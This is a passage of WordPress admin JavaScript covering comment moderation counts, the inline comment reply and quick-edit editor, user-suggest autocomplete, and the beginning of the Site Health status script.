			// The comment is currently approved.
			if ( approved ) {
				approvedDiff = -1;
			// The comment is currently pending.
			} else if ( unapproved ) {
				pendingDiff = -1;
			// The comment was in the Trash.
			} else if ( trashed ) {
				trashDiff = -1;
			}
			// You can't spam an item on the Spam screen.
			spamDiff = 1;

		// User clicked "Unspam".
		} else if ( targetParent.is( 'span.unspam' ) ) {
			if ( approved ) {
				pendingDiff = 1;
			} else if ( unapproved ) {
				approvedDiff = 1;
			} else if ( trashed ) {
				// The comment was previously approved.
				if ( targetParent.hasClass( 'approve' ) ) {
					approvedDiff = 1;
				// The comment was previously pending.
				} else if ( targetParent.hasClass( 'unapprove' ) ) {
					pendingDiff = 1;
				}
			} else if ( spammed ) {
				if ( targetParent.hasClass( 'approve' ) ) {
					approvedDiff = 1;

				} else if ( targetParent.hasClass( 'unapprove' ) ) {
					pendingDiff = 1;
				}
			}
			// You can unspam an item on the Spam screen.
			spamDiff = -1;

		// User clicked "Trash".
		} else if ( targetParent.is( 'span.trash' ) ) {
			if ( approved ) {
				approvedDiff = -1;
			} else if ( unapproved ) {
				pendingDiff = -1;
			// The comment was in the spam queue.
			} else if ( spammed ) {
				spamDiff = -1;
			}
			// You can't trash an item on the Trash screen.
			trashDiff = 1;

		// User clicked "Restore".
		} else if ( targetParent.is( 'span.untrash' ) ) {
			if ( approved ) {
				pendingDiff = 1;
			} else if ( unapproved ) {
				approvedDiff = 1;
			} else if ( trashed ) {
				if ( targetParent.hasClass( 'approve' ) ) {
					approvedDiff = 1;
				} else if ( targetParent.hasClass( 'unapprove' ) ) {
					pendingDiff = 1;
				}
			}
			// You can't go from Trash to Spam.
			// You can untrash on the Trash screen.
			trashDiff = -1;

		// User clicked "Approve".
		} else if ( targetParent.is( 'span.approve:not(.unspam):not(.untrash)' ) ) {
			approvedDiff = 1;
			pendingDiff = -1;

		// User clicked "Unapprove".
		} else if ( targetParent.is( 'span.unapprove:not(.unspam):not(.untrash)' ) ) {
			approvedDiff = -1;
			pendingDiff = 1;

		// User clicked "Delete Permanently".
		} else if ( targetParent.is( 'span.delete' ) ) {
			if ( spammed ) {
				spamDiff = -1;
			} else if ( trashed ) {
				trashDiff = -1;
			}
		}

		if ( pendingDiff ) {
			updatePending( pendingDiff, commentPostId );
			updateCountText( 'span.all-count', pendingDiff );
		}

		if ( approvedDiff ) {
			updateApproved( approvedDiff, commentPostId );
			updateCountText( 'span.all-count', approvedDiff );
		}

		if ( spamDiff ) {
			updateCountText( 'span.spam-count', spamDiff );
		}

		if ( trashDiff ) {
			updateCountText( 'span.trash-count', trashDiff );
		}

		if (
			( ( 'trash' === settings.data.comment_status ) && !getCount( $( 'span.trash-count' ) ) ) ||
			( ( 'spam' === settings.data.comment_status ) && !getCount( $( 'span.spam-count' ) ) )
		) {
			$( '#delete_all' ).hide();
		}

		if ( ! isDashboard ) {
			total = totalInput.val() ? parseInt( totalInput.val(), 10 ) : 0;
			if ( $(settings.target).parent().is('span.undo') )
				total++;
			else
				total--;

			if ( total < 0 )
				total = 0;

			if ( 'object' === typeof r ) {
				if ( response.supplemental.total_items_i18n && lastConfidentTime < response.supplemental.time ) {
					total_items_i18n = response.supplemental.total_items_i18n || '';
					if ( total_items_i18n ) {
						$('.displaying-num').text( total_items_i18n.replace( '&nbsp;', String.fromCharCode( 160 ) ) );
						$('.total-pages').text( response.supplemental.total_pages_i18n.replace( '&nbsp;', String.fromCharCode( 160 ) ) );
						$('.tablenav-pages').find('.next-page, .last-page').toggleClass('disabled', response.supplemental.total_pages == $('.current-page').val());
					}
					updateTotalCount( total, response.supplemental.time, true );
				} else if ( response.supplemental.time ) {
					updateTotalCount( total, response.supplemental.time, false );
				}
			} else {
				updateTotalCount( total, r, false );
			}
		}

		if ( ! theExtraList || theExtraList.length === 0 || theExtraList.children().length === 0 || undoing ) {
			return;
		}

		theList.get(0).wpList.add( theExtraList.children( ':eq(0):not(.no-items)' ).remove().clone() );

		refillTheExtraList();

		animated = $( ':animated', '#the-comment-list' );
		animatedCallback = function() {
			if ( ! $( '#the-comment-list tr:visible' ).length ) {
				theList.get(0).wpList.add( theExtraList.find( '.no-items' ).clone() );
			}
		};

		if ( animated.length ) {
			animated.promise().done( animatedCallback );
		} else {
			animatedCallback();
		}
	};

	/**
	 * Retrieves additional comments to populate the extra list.
	 *
	 * @since 3.1.0
	 * @access private
	 *
	 * @param {boolean} [ev] Repopulate the extra comments list if true.
	 *
	 * @return {void}
	 */
	refillTheExtraList = function(ev) {
		var args = $.query.get(), total_pages = $('.total-pages').text(), per_page = $('input[name="_per_page"]', '#comments-form').val();

		if (! args.paged)
			args.paged = 1;

		if (args.paged > total_pages) {
			return;
		}

		if (ev) {
			theExtraList.empty();
			args.number = Math.min(8, per_page); // See WP_Comments_List_Table::prepare_items() in class-wp-comments-list-table.php.
		} else {
			args.number = 1;
			args.offset = Math.min(8, per_page) - 1; // Fetch only the next item on the extra list.
		}

		args.no_placeholder = true;

		args.paged ++;

		// $.query.get() needs some correction to be sent into an Ajax request.
		if ( true === args.comment_type )
			args.comment_type = '';

		args = $.extend(args, {
			'action': 'fetch-list',
			'list_args': list_args,
			'_ajax_fetch_list_nonce': $('#_ajax_fetch_list_nonce').val()
		});

		$.ajax({
			url: ajaxurl,
			global: false,
			dataType: 'json',
			data: args,
			success: function(response) {
				theExtraList.get(0).wpList.add( response.rows );
			}
		});
	};

	/**
	 * Globally available jQuery object referring to the extra comments list.
	 *
	 * @global
	 */
	window.theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } );

	/**
	 * Globally available jQuery object referring to the comments list.
	 *
	 * @global
	 */
	window.theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } )
		.on('wpListDelEnd', function(e, s){
			var wpListsData = $(s.target).attr('data-wp-lists'), id = s.element.replace(/[^0-9]+/g, '');

			if ( wpListsData.indexOf(':trash=1') != -1 || wpListsData.indexOf(':spam=1') != -1 )
				$('#undo-' + id).fadeIn(300, function(){ $(this).show(); });
		});
};

/**
 * Object containing functionality regarding the comment quick editor and reply
 * editor.
 *
 * @since 2.7.0
 *
 * @global
 */
window.commentReply = {
	cid : '',
	act : '',
	originalContent : '',

	/**
	 * Initializes the comment reply functionality.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 */
	init : function() {
		var row = $('#replyrow');

		$( '.cancel', row ).on( 'click', function() { return commentReply.revert(); } );
		$( '.save', row ).on( 'click', function() { return commentReply.send(); } );
		$( 'input#author-name, input#author-email, input#author-url', row ).on( 'keypress', function( e ) {
			if ( e.which == 13 ) {
				commentReply.send();
				e.preventDefault();
				return false;
			}
		});

		// Add events.
		$('#the-comment-list .column-comment > p').on( 'dblclick', function(){
			commentReply.toggle($(this).parent());
		});

		$('#doaction, #post-query-submit').on( 'click', function(){
			if ( $('#the-comment-list #replyrow').length > 0 )
				commentReply.close();
		});

		this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || '';
	},

	/**
	 * Adds doubleclick event handler to the given comment list row.
	 *
	 * The double-click event will toggle the comment edit or reply form.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {Object} r The row to add double click handlers to.
	 *
	 * @return {void}
	 */
	addEvents : function(r) {
		r.each(function() {
			$(this).find('.column-comment > p').on( 'dblclick', function(){
				commentReply.toggle($(this).parent());
			});
		});
	},

	/**
	 * Opens the quick edit for the given element.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {HTMLElement} el The element you want to open the quick editor for.
	 *
	 * @return {void}
	 */
	toggle : function(el) {
		if ( 'none' !== $( el ).css( 'display' ) && ( $( '#replyrow' ).parent().is('#com-reply') || window.confirm( __( 'Are you sure you want to edit this comment?\nThe changes you made will be lost.' ) ) ) ) {
			$( el ).find( 'button.vim-q' ).trigger( 'click' );
		}
	},

	/**
	 * Closes the comment quick edit or reply form and undoes any changes.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @return {void}
	 */
	revert : function() {

		if ( $('#the-comment-list #replyrow').length < 1 )
			return false;

		$('#replyrow').fadeOut('fast', function(){
			commentReply.close();
		});
	},

	/**
	 * Closes the comment quick edit or reply form and undoes any changes.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @return {void}
	 */
	close : function() {
		var commentRow = $(),
			replyRow = $( '#replyrow' );

		// Return if the replyrow is not showing.
		if ( replyRow.parent().is( '#com-reply' ) ) {
			return;
		}

		if ( this.cid ) {
			commentRow = $( '#comment-' + this.cid );
		}

		/*
		 * When closing the Quick Edit form, show the comment row and move focus
		 * back to the Quick Edit button.
		 */
		if ( 'edit-comment' === this.act ) {
			commentRow.fadeIn( 300, function() {
				commentRow
					.show()
					.find( '.vim-q' )
						.attr( 'aria-expanded', 'false' )
						.trigger( 'focus' );
			} ).css( 'backgroundColor', '' );
		}

		// When closing the Reply form, move focus back to the Reply button.
		if ( 'replyto-comment' === this.act ) {
			commentRow.find( '.vim-r' )
				.attr( 'aria-expanded', 'false' )
				.trigger( 'focus' );
		}

		// Reset the Quicktags buttons.
 		if ( typeof QTags != 'undefined' )
			QTags.closeAllTags('replycontent');

		$('#add-new-comment').css('display', '');

		replyRow.hide();
		$( '#com-reply' ).append( replyRow );
		$('#replycontent').css('height', '').val('');
		$('#edithead input').val('');
		$( '.notice-error', replyRow )
			.addClass( 'hidden' )
			.find( '.error' ).empty();
		$( '.spinner', replyRow ).removeClass( 'is-active' );

		this.cid = '';
		this.originalContent = '';
	},

	/**
	 * Opens the comment quick edit or reply form.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {number} comment_id The comment ID to open an editor for.
	 * @param {number} post_id The post ID to open an editor for.
	 * @param {string} action The action to perform. Either 'edit' or 'replyto'.
	 *
	 * @return {boolean} Always false.
	 */
	open : function(comment_id, post_id, action) {
		var editRow, rowData, act, replyButton, editHeight,
			t = this,
			c = $('#comment-' + comment_id),
			h = c.height(),
			colspanVal = 0;

		if ( ! this.discardCommentChanges() ) {
			return false;
		}

		t.close();
		t.cid = comment_id;

		editRow = $('#replyrow');
		rowData = $('#inline-'+comment_id);
		action = action || 'replyto';
		act = 'edit' == action ? 'edit' : 'replyto';
		act = t.act = act + '-comment';
		t.originalContent = $('textarea.comment', rowData).val();
		colspanVal = $( '> th:visible, > td:visible', c ).length;

		// Make sure it's actually a table and there's a `colspan` value to apply.
		if ( editRow.hasClass( 'inline-edit-row' ) && 0 !== colspanVal ) {
			$( 'td', editRow ).attr( 'colspan', colspanVal );
		}

		$('#action', editRow).val(act);
		$('#comment_post_ID', editRow).val(post_id);
		$('#comment_ID', editRow).val(comment_id);

		if ( action == 'edit' ) {
			$( '#author-name', editRow ).val( $( 'div.author', rowData ).text() );
			$('#author-email', editRow).val( $('div.author-email', rowData).text() );
			$('#author-url', editRow).val( $('div.author-url', rowData).text() );
			$('#status', editRow).val( $('div.comment_status', rowData).text() );
			$('#replycontent', editRow).val( $('textarea.comment', rowData).val() );
			$( '#edithead, #editlegend, #savebtn', editRow ).show();
			$('#replyhead, #replybtn, #addhead, #addbtn', editRow).hide();

			if ( h > 120 ) {
				// Limit the maximum height when editing very long comments to make it more manageable.
				// The textarea is resizable in most browsers, so the user can adjust it if needed.
				editHeight = h > 500 ? 500 : h;
				$('#replycontent', editRow).css('height', editHeight + 'px');
			}

			c.after( editRow ).fadeOut('fast', function(){
				$('#replyrow').fadeIn(300, function(){ $(this).show(); });
			});
		} else if ( action == 'add' ) {
			$('#addhead, #addbtn', editRow).show();
			$( '#replyhead, #replybtn, #edithead, #editlegend, #savebtn', editRow ) .hide();
			$('#the-comment-list').prepend(editRow);
			$('#replyrow').fadeIn(300);
		} else {
			replyButton = $('#replybtn', editRow);
			$( '#edithead, #editlegend, #savebtn, #addhead, #addbtn', editRow ).hide();
			$('#replyhead, #replybtn', editRow).show();
			c.after(editRow);

			if ( c.hasClass('unapproved') ) {
				replyButton.text( __( 'Approve and Reply' ) );
			} else {
				replyButton.text( __( 'Reply' ) );
			}

			$('#replyrow').fadeIn(300, function(){ $(this).show(); });
		}

		setTimeout(function() {
			var rtop, rbottom, scrollTop, vp, scrollBottom,
				isComposing = false;

			rtop = $('#replyrow').offset().top;
			rbottom = rtop + $('#replyrow').height();
			scrollTop = window.pageYOffset || document.documentElement.scrollTop;
			vp = document.documentElement.clientHeight || window.innerHeight || 0;
			scrollBottom = scrollTop + vp;

			if ( scrollBottom - 20 < rbottom )
				window.scroll(0, rbottom - vp + 35);
			else if ( rtop - 20 < scrollTop )
				window.scroll(0, rtop - 35);

			$( '#replycontent' )
				.trigger( 'focus' )
				.on( 'keyup', function( e ) {
					// Close on Escape except when Input Method Editors (IMEs) are in use.
					if ( e.which === 27 && ! isComposing ) {
						commentReply.revert();
					}
				} )
				.on( 'compositionstart', function() {
					isComposing = true;
				} );
		}, 600);

		return false;
	},

	/**
	 * Submits the comment quick edit or reply form.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @return {void}
	 */
	send : function() {
		var post = {},
			$errorNotice = $( '#replysubmit .error-notice' );

		$errorNotice.addClass( 'hidden' );
		$( '#replysubmit .spinner' ).addClass( 'is-active' );

		$('#replyrow input').not(':button').each(function() {
			var t = $(this);
			post[ t.attr('name') ] = t.val();
		});

		post.content = $('#replycontent').val();
		post.id = post.comment_post_ID;
		post.comments_listing = this.comments_listing;
		post.p = $('[name="p"]').val();

		if ( $('#comment-' + $('#comment_ID').val()).hasClass('unapproved') )
			post.approve_parent = 1;

		$.ajax({
			type : 'POST',
			url : ajaxurl,
			data : post,
			success : function(x) { commentReply.show(x); },
			error : function(r) { commentReply.error(r); }
		});
	},

	/**
	 * Shows the new or updated comment or reply.
	 *
	 * This function needs to be passed the ajax result as received from the server.
	 * It will handle the response and show the comment that has just been saved to
	 * the server.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {Object} xml Ajax response object.
	 *
	 * @return {void}
	 */
	show : function(xml) {
		var t = this, r, c, id, bg, pid;

		if ( typeof(xml) == 'string' ) {
			t.error({'responseText': xml});
			return false;
		}

		r = wpAjax.parseAjaxResponse(xml);
		if ( r.errors ) {
			t.error({'responseText': wpAjax.broken});
			return false;
		}

		t.revert();

		r = r.responses[0];
		id = '#comment-' + r.id;

		if ( 'edit-comment' == t.act )
			$(id).remove();

		if ( r.supplemental.parent_approved ) {
			pid = $('#comment-' + r.supplemental.parent_approved);
			updatePending( -1, r.supplemental.parent_post_id );

			if ( this.comments_listing == 'moderated' ) {
				pid.animate( { 'backgroundColor':'#CCEEBB' }, 400, function(){
					pid.fadeOut();
				});
				return;
			}
		}

		if ( r.supplemental.i18n_comments_text ) {
			updateDashboardText( r.supplemental );
			updateInModerationText( r.supplemental );
			updateApproved( 1, r.supplemental.parent_post_id );
			updateCountText( 'span.all-count', 1 );
		}

		r.data = r.data || '';
		c = r.data.toString().trim(); // Trim leading whitespaces.
		$(c).hide();
		$('#replyrow').after(c);

		id = $(id);
		t.addEvents(id);
		bg = id.hasClass('unapproved') ? '#FFFFE0' : id.closest('.widefat, .postbox').css('backgroundColor');

		id.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
			.animate( { 'backgroundColor': bg }, 300, function() {
				if ( pid && pid.length ) {
					pid.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
						.animate( { 'backgroundColor': bg }, 300 )
						.removeClass('unapproved').addClass('approved')
						.find('div.comment_status').html('1');
				}
			});

	},

	/**
	 * Shows an error for the failed comment update or reply.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {string} r The Ajax response.
	 *
	 * @return {void}
	 */
	error : function(r) {
		var er = r.statusText,
			$errorNotice = $( '#replysubmit .notice-error' ),
			$error = $errorNotice.find( '.error' );

		$( '#replysubmit .spinner' ).removeClass( 'is-active' );

		if ( r.responseText )
			er = r.responseText.replace( /<.[^<>]*?>/g, '' );

		if ( er ) {
			$errorNotice.removeClass( 'hidden' );
			$error.html( er );
		}
	},

	/**
	 * Opens the add comments form in the comments metabox on the post edit page.
	 *
	 * @since 3.4.0
	 *
	 * @memberof commentReply
	 *
	 * @param {number} post_id The post ID.
	 *
	 * @return {void}
	 */
	addcomment: function(post_id) {
		var t = this;

		$('#add-new-comment').fadeOut(200, function(){
			t.open(0, post_id, 'add');
			$('table.comments-box').css('display', '');
			$('#no-comments').remove();
		});
	},

	/**
	 * Alert the user if they have unsaved changes on a comment that will be lost if
	 * they proceed with the intended action.
	 *
	 * @since 4.6.0
	 *
	 * @memberof commentReply
	 *
	 * @return {boolean} Whether it is safe the continue with the intended action.
	 */
	discardCommentChanges: function() {
		var editRow = $( '#replyrow' );

		if  ( '' === $( '#replycontent', editRow ).val() || this.originalContent === $( '#replycontent', editRow ).val() ) {
			return true;
		}

		return window.confirm( __( 'Are you sure you want to do this?\nThe comment changes you made will be lost.' ) );
	}
};

$( function(){
	var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk;

	setCommentsList();
	commentReply.init();

	$(document).on( 'click', 'span.delete a.delete', function( e ) {
		e.preventDefault();
	});

	if ( typeof $.table_hotkeys != 'undefined' ) {
		/**
		 * Creates a function that navigates to a previous or next page.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @param {string} which What page to navigate to: either next or prev.
		 *
		 * @return {Function} The function that executes the navigation.
		 */
		make_hotkeys_redirect = function(which) {
			return function() {
				var first_last, l;

				first_last = 'next' == which? 'first' : 'last';
				l = $('.tablenav-pages .'+which+'-page:not(.disabled)');
				if (l.length)
					window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1';
			};
		};

		/**
		 * Navigates to the edit page for the selected comment.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @param {Object} event       The event that triggered this action.
		 * @param {Object} current_row A jQuery object of the selected row.
		 *
		 * @return {void}
		 */
		edit_comment = function(event, current_row) {
			window.location = $('span.edit a', current_row).attr('href');
		};

		/**
		 * Toggles all comments on the screen, for bulk actions.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @return {void}
		 */
		toggle_all = function() {
			$('#cb-select-all-1').data( 'wp-toggle', 1 ).trigger( 'click' ).removeData( 'wp-toggle' );
		};

		/**
		 * Creates a bulk action function that is executed on all selected comments.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @param {string} value The name of the action to execute.
		 *
		 * @return {Function} The function that executes the bulk action.
		 */
		make_bulk = function(value) {
			return function() {
				var scope = $('select[name="action"]');
				$('option[value="' + value + '"]', scope).prop('selected', true);
				$('#doaction').trigger( 'click' );
			};
		};

		$.table_hotkeys(
			$('table.widefat'),
			[
				'a', 'u', 's', 'd', 'r', 'q', 'z',
				['e', edit_comment],
				['shift+x', toggle_all],
				['shift+a', make_bulk('approve')],
				['shift+s', make_bulk('spam')],
				['shift+d', make_bulk('delete')],
				['shift+t', make_bulk('trash')],
				['shift+z', make_bulk('untrash')],
				['shift+u', make_bulk('unapprove')]
			],
			{
				highlight_first: adminCommentsSettings.hotkeys_highlight_first,
				highlight_last: adminCommentsSettings.hotkeys_highlight_last,
				prev_page_link_cb: make_hotkeys_redirect('prev'),
				next_page_link_cb: make_hotkeys_redirect('next'),
				hotkeys_opts: {
					disableInInput: true,
					type: 'keypress',
					noDisable: '.check-column input[type="checkbox"]'
				},
				cycle_expr: '#the-comment-list tr',
				start_row_index: 0
			}
		);
	}

	// Quick Edit and Reply have an inline comment editor.
	$( '#the-comment-list' ).on( 'click', '.comment-inline', function() {
		var $el = $( this ),
			action = 'replyto';

		if ( 'undefined' !== typeof $el.data( 'action' ) ) {
			action = $el.data( 'action' );
		}

		$( this ).attr( 'aria-expanded', 'true' );
		commentReply.open( $el.data( 'commentId' ), $el.data( 'postId' ), action );
	} );
});

})(jQuery);
/*! This file is auto-generated */
!function(a){var n="undefined"!=typeof current_site_id?"&site_id="+current_site_id:"";a(function(){var i={offset:"0, -1"};"undefined"!=typeof isRtl&&isRtl&&(i.my="right top",i.at="right bottom"),a(".wp-suggest-user").each(function(){var e=a(this),t=void 0!==e.data("autocompleteType")?e.data("autocompleteType"):"add",o=void 0!==e.data("autocompleteField")?e.data("autocompleteField"):"user_login";e.autocomplete({source:ajaxurl+"?action=autocomplete-user&autocomplete_type="+t+"&autocomplete_field="+o+n,delay:500,minLength:2,position:i,open:function(){a(this).addClass("open")},close:function(){a(this).removeClass("open")}})})})}(jQuery);/**
 * Interactions used by the Site Health modules in WordPress.
 *
 * @output wp-admin/js/site-health.js
 */

/* global ajaxurl, ClipboardJS, SiteHealth, wp */

jQuery( function( $ ) {

	var __ = wp.i18n.__,
		_n = wp.i18n._n,
		sprintf = wp.i18n.sprintf,
		clipboard = new ClipboardJS( '.site-health-copy-buttons .copy-button' ),
		isStatusTab = $( '.health-check-body.health-check-status-tab' ).length,
		isDebugTab = $( '.health-check-body.health-check-debug-tab' ).length,
		pathsSizesSection = $( '#health-check-accordion-block-wp-paths-sizes' ),
		menuCounterWrapper = $( '#adminmenu .site-health-counter' ),
		menuCounter = $( '#adminmenu .site-health-counter .count' ),
		successTimeout;

	// Debug information copy section.
	clipboard.on( 'success', function( e ) {
		var triggerElement = $( e.trigger ),
			successElement = $( '.success', triggerElement.closest( 'div' ) );

		// Clear the selection and move focus back to the trigger.
		e.clearSelection();

		// Show success visual feedback.
		clearTimeout( successTimeout );
		successElement.removeClass( 'hidden' );

		// Hide success visual feedback after 3 seconds since last success.
		successTimeout = setTimeout( function() {
			successElement.addClass( 'hidden' );
		}, 3000 );

		// Handle success audible feedback.
		wp.a11y.speak( __( 'Site information has been copied to your clipboard.' ) );
	} );

	// Accordion handling in various areas.
	$( '.health-check-accordion' ).on( 'click', '.health-check-accordion-trigger', function() {
		var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );

		if ( isExpanded ) {
			$( this ).attr( 'aria-expanded', 'false' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
		} else {
			$( this ).attr( 'aria-expanded', 'true' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
		}
	} );

	// Site Health test handling.

	$( '.site-health-view-passed' ).on( 'click', function() {
		var goodIssuesWrapper = $( '#health-check-issues-good' );

		goodIssuesWrapper.toggleClass( 'hidden' );
		$( this ).attr( 'aria-expanded', ! goodIssuesWrapper.hasClass( 'hidden' ) );
	} );

	/**
	 * Validates the Site Health test result format.
	 *
	 * @since 5.6.0
	 *
	 * @param {Object} issue
	 *
	 * @return {boolean}
	 */
	function validateIssueData( issue ) {
		// Expected minimum format of a valid SiteHealth test response.
		var minimumExpected = {
				test: 'string',
				label: 'string',
				description: 'string'
			},
			passed = true,
			key, value, subKey, subValue;

		// If the issue passed is not an object, return a `false` state early.
		if ( 'object' !== typeof( issue ) ) {
			return false;
		}

		// Loop over expected data and match the data types.
		for ( key in minimumExpected ) {
			value = minimumExpected[ key ];

			if ( 'object' === typeof( value ) ) {
				for ( subKey in value ) {
					subValue = value[ subKey ];

					if ( 'undefined' === typeof( issue[ key ] ) ||
						'undefined' === typeof( issue[ key ][ subKey ] ) ||
						subValue !== typeof( issue[ key ][ subKey ] )
					) {
						passed = false;
					}
				}
			} else {
				if ( 'undefined' === typeof( issue[ key ] ) ||
					value !== typeof( issue[ key ] )
				) {
					passed = false;
				}
			}
		}

		return passed;
	}

	/**
	 * Appends a new issue to the issue list.
	 *
	 * @since 5.2.0
	 *
	 * @param {Object} issue The issue data.
	 */
	function appendIssue( issue ) {
		var template = wp.template( 'health-check-issue' ),
			issueWrapper = $( '#health-check-issues-' + issue.status ),
			heading,
			count;

		/*
		 * Validate the issue data format before using it.
		 * If the output is invalid, discard it.
		 */
		if ( ! validateIssueData( issue ) ) {
			return false;
		}

		SiteHealth.site_status.issues[ issue.status ]++;

		count = SiteHealth.site_status.issues[ issue.status ];

		// If no test name is supplied, append a placeholder for markup references.
		if ( typeof issue.test === 'undefined' ) {
			issue.test = issue.status + count;
		}

		if ( 'critical' === issue.status ) {
			heading = sprintf(
				_n( '%s critical issue', '%s critical issues', count ),
				'<span class="issue-count">' + count + '</span>'
			);
		} else if ( 'recommended' === issue.status ) {
			heading = sprintf(
				_n( '%s recommended improvement', '%s recommended improvements', count ),
				'<span class="issue-count">' + count + '</span>'
			);
		} else if ( 'good' === issue.status ) {
			heading = sprintf(
				_n( '%s item with no issues detected', '%s items with no issues detected', count ),
				'<span class="issue-count">' + count + '</span>'
			);
		}

		if ( heading ) {
			$( '.site-health-issue-count-title', issueWrapper ).html( heading );
		}

		menuCounter.text( SiteHealth.site_status.issues.critical );

		if ( 0 < parseInt( SiteHealth.site_status.issues.critical, 0 ) ) {
			$( '#health-check-issues-critical' ).removeClass( 'hidden' );

			menuCounterWrapper.removeClass( 'count-0' );
		} else {
			menuCounterWrapper.addClass( 'count-0' );
		}
		if ( 0 < parseInt( SiteHealth.site_status.issues.recommended, 0 ) ) {
			$( '#health-check-issues-recommended' ).removeClass( 'hidden' );
		}

		$( '.issues', '#health-check-issues-' + issue.status ).append( template( issue ) );
	}

	/**
	 * Updates site health status indicator as asynchronous tests are run and returned.
	 *
	 * @since 5.2.0
	 */
	function recalculateProgression() {
		var r, c, pct;
		var $progress = $( '.site-health-progress' );
		var $wrapper = $progress.closest( '.site-health-progress-wrapper' );
		var $progressLabel = $( '.site-health-progress-label', $wrapper );
		var $circle = $( '.site-health-progress svg #bar' );
		var totalTests = parseInt( SiteHealth.site_status.issues.good, 0 ) +
			parseInt( SiteHealth.site_status.issues.recommended, 0 ) +
			( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 );
		var failedTests = ( parseInt( SiteHealth.site_status.issues.recommended, 0 ) * 0.5 ) +
			( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 );
		var val = 100 - Math.ceil( ( failedTests / totalTests ) * 100 );

		if ( 0 === totalTests ) {
			$progress.addClass( 'hidden' );
			return;
		}

		$wrapper.removeClass( 'loading' );

		r = $circle.attr( 'r' );
		c = Math.PI * ( r * 2 );

		if ( 0 > val ) {
			val = 0;
		}
		if ( 100 < val ) {
			val = 100;
		}

		pct = ( ( 100 - val ) / 100 ) * c + 'px';

		$circle.css( { strokeDashoffset: pct } );

		if ( 80 <= val && 0 === parseInt( SiteHealth.site_status.issues.critical, 0 ) ) {
			$wrapper.addClass( 'green' ).removeClass( 'orange' );

			$progressLabel.text( __( 'Good' ) );
			announceTestsProgression( 'good' );
		} else {
			$wrapper.addClass( 'orange' ).removeClass( 'green' );

			$progressLabel.text( __( 'Should be improved' ) );
			announceTestsProgression( 'improvable' );
		}

		if ( isStatusTab ) {
			$.post(
				ajaxurl,
				{
					'action': 'health-check-site-status-result',
					'_wpnonce': SiteHealth.nonce.site_status_result,
					'counts': SiteHealth.site_status.issues
				}
			);

			if ( 100 === val ) {
				$( '.site-status-all-clear' ).removeClass( 'hide' );
				$( '.site-status-has-issues' ).addClass( 'hide' );
			}
		}
	}

	/**
	 * Queues the next asynchronous test when we're ready to run it.
	 *
	 * @since 5.2.0
	 */
	function maybeRunNextAsyncTest() {
		var doCalculation = true;

		if ( 1 <= SiteHealth.site_status.async.length ) {
			$.each( SiteHealth.site_status.async, function() {
				var data = {
					'action': 'health-check-' + this.test.replace( '_', '-' ),
					'_wpnonce': SiteHealth.nonce.site_status
				};

				if ( this.completed ) {
					return true;
				}

				doCalculation = false;

				this.completed = true;

				if ( 'undefined' !== typeof( this.has_rest ) && this.has_rest ) {
					wp.apiRequest( {
						url: wp.url.addQueryArgs( this.test, { _locale: 'user' } ),
						headers: this.headers
					} )
						.done( function( response ) {
							/** This filter is documented in wp-admin/includes/class-wp-site-health.php */
							appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response ) );
						} )
						.fail( function( response ) {
							var description;

							if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) {
								description = response.responseJSON.message;
							} else {
								description = __( 'No details available' );
							}

							addFailedSiteHealthCheckNotice( this.url, description );
						} )
						.always( function() {
							maybeRunNextAsyncTest();
						} );
				} else {
					$.post(
						ajaxurl,
						data
					).done( function( response ) {
						/** This filter is documented in wp-admin/includes/class-wp-site-health.php */
						appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response.data ) );
					} ).fail( function( response ) {
						var description;

						if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) {
							description = response.responseJSON.message;
						} else {
							description = __( 'No details available' );
						}

						addFailedSiteHealthCheckNotice( this.url, description );
					} ).always( function() {
						maybeRunNextAsyncTest();
					} );
				}

				return false;
			} );
		}

		if ( doCalculation ) {
			recalculateProgression();
		}
	}

	/**
	 * Add the details of a failed asynchronous test to the list of test results.
	 *
	 * @since 5.6.0
	 */
	function addFailedSiteHealthCheckNotice( url, description ) {
		var issue;

		issue = {
			'status': 'recommended',
			'label': __( 'A test is unavailable' ),
			'badge': {
				'color': 'red',
				'label': __( 'Unavailable' )
			},
			'description': '<p>' + url + '</p><p>' + description + '</p>',
			'actions': ''
		};

		/** This filter is documented in wp-admin/includes/class-wp-site-health.php */
		appendIssue( wp.hooks.applyFilters( 'site_status_test_result', issue ) );
	}

	if ( 'undefined' !== typeof SiteHealth ) {
		if ( 0 === SiteHealth.site_status.direct.length && 0 === SiteHealth.site_status.async.length ) {
			recalculateProgression();
		} else {
			SiteHealth.site_status.issues = {
				'good': 0,
				'recommended': 0,
				'critical': 0
			};
		}

		if ( 0 < SiteHealth.site_status.direct.length ) {
